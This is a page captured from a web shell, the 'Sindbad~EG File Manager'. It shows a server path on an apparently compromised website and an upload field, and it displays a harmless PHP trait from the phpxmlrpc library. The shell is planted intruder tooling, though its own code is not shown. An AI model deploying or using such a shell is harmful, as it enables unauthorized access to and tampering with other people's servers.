Sindbad~EG File Manager

Current Path : /var/www/html/atlasseguros.sumar.com.py/lib/phpxmlrpc/Traits/
Upload File :
Current File : /var/www/html/atlasseguros.sumar.com.py/lib/phpxmlrpc/Traits/ParserAware.php

<?php

namespace PhpXmlRpc\Traits;

use PhpXmlRpc\Helper\XMLParser;

trait ParserAware
{
    protected static $parser;

    /// @todo feature-creep: allow passing in $options (but then, how to deal with changing options between invocations?)
    public function getParser()
    {
        if (self::$parser === null) {
            self::$parser = new XMLParser();
        }
        return self::$parser;
    }

    /**
     * @param $parser
     * @return void
     */
    public static function setParser($parser)
    {
        self::$parser = $parser;
    }
}

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists